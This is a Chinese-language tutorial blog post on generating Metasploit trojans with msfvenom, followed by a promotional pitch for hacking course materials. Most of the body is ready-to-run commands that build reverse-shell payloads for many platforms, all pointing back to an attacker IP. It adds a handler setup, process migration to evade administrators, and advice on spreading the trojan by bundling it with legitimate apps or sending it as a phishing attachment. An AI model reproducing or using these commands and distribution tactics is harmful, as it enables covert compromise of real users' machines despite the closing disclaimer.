Metasploit木马生成教程，零基础入门到精通，收藏这篇就够了

0****1

概述

上次我们聊到了通过目标系统漏洞来获取目标的权限，其实我们除了可以通过目标系统的漏洞来获取 meterpreter 之外，还可以直接通过木马获取。

msfvenom 就是 MSF 中用来生成后门木马的模块，在目标机器上执行后门木马，然后在本地配置监听目标即可上线，攻击机即可获得 meterpreter。

msfvenom 是 msfpayload 和 msfencode 的组合，将这两个工具集成在一个框架实例中。

msfvenom 主要生成可执行程序、DLL 文件、Webshell 和 Shellcode 等。

0****2

相关参数

 -l <type>：列出相关类型（如 payloads, encoders, nops, platforms, archs, encrypt, formats, all）的所有模块信息。  -p <payload>：设置使用的 payload。  -p <payload> --list-options：列出指定的 payload 的相关参数。  -f <format>：设置输出格式。  --encoder <encoder>：设置所使用的编码器。  --service-name <value>：设置生成的二进制服务程序的名称。  --sec-name <value>：设置当生成大的 windows 二进制程序文件时使用的节(section)名。默认是四个随机字母组成的字符串。  --smallest：使用所有的编码器生成尽可能小的 payload。  --encrypt <value>：设置编码或加密 shellcode 的方式。  --encrypt-key <value>：设置加密密钥。  --encrypt-iv <value>：设置加密的初始向量 IV。  -a <arch>：设置 payload 使用的软件架构。  --platform <platform>：设置 payload 使用的平台。  -o <path>：将 payload 保存到指定的文件路径。  -b <list>：设置 payload 中需要避免的字符。  -n <length>：在 payload 中预置指定长度的滑板指令。  -s, --space <length>：设置生成的 payload 的最大文件大小。  --encoder-space <length>：设置编码后的 payload 的最大文件大小。  -i <count>：指定编码的次数。  -c <path> ：指定包含额外的 win32 shellcode 的文件路径。  -x <path>：使用一个可执行文件当作模板。  -k：保留模板文件的功能，将 payload 作为线程注入。  -v <value>：为某些特定的输出格式指定变量名。  -t <second>：设置从 STDIN 读取 payload 的最长等待时间（单位为秒）。默认为 30 秒。设置为 0 表示禁用时间限制。  -h：输出帮助页面。

0****3

木马生成方法（MSF6）

这里针对不同的目标我们有不同的命令，但仔细看你会发现，命令整体结构其实差不多，区别主要在于目标架构不同。

Windows

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f exe > shell.exe``   ``msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f c

Linux

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f macho > shell.macho

Android

msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f raw > shell.apk``   ``msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 R > shell.apk

ASPX

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT= 8888 -f aspx -o shell.aspx

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f raw > shell.jsp

PHP

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f raw > shell.php

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.49.139 LPORT=8888 -f raw > shell.sh

Python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f raw > shell.py

0****4

举例—木马攻击

MSF 创建监听

首先进入 msf。

msfconsole

然后依次输入以下命令即可。

use exploit/multi/handler``   ``set lhost 192.168.49.139  # 攻击机的IP``   ``set lport 8888    # 攻击机监听的端口``   ``set payload windows/x64/meterpreter/reverse_tcp``   ``run

生成木马

重新开一个窗口，执行以下命令，这里需要注意的是 IP、PORT 要保持和上面创建监听时的值一致，payload 也需要一致。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f exe > shell.exe

然后将木马上传到目标系统

传播木马的常见方法

• 直接通过漏洞上传到目标服务器。

• 把木马和一个正常应用程序捆绑，发布到网上诱导用户下载。

• 社工，通过邮件附件进行传播。

• …

这里我们简单一点，直接把木马拖到目标系统上，中间的木马传播环节我们就省略了，主要看一下木马上线的效果。

执行即可上线

在目标系统上双击执行木马，然后到 msf 中查看目标是否上线。

进程迁移

最后做一下进程迁移主要是为了防止管理员发现木马进程并结束木马进程，所以我们可以通过迁移隐藏一下，增加应急的难度。

而且注入之后原来的木马程序就算被删除了也没关系，只要进程还在，我们的权限就一直在，用起来爽歪歪！

查看木马在目标系统上运行的进程。

getpid

查看目标系统上目前存活的进程，这里会有很多进程，我只截取了前面一部分。

ps

选一个稳定的进程，迁移到这个进程中。

migrate 4084

最后你会发现木马原本的进程 3432 就不存在了。

`黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

（都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

【点击这里，先领资料再阅读哦~】

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

【点击这里，先领资料再阅读哦~】

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

【点击这里，先领资料再阅读哦~】

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

【点击这里，先领资料再阅读哦~】

特别声明：

此教程为纯技术分享！本书的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失！！！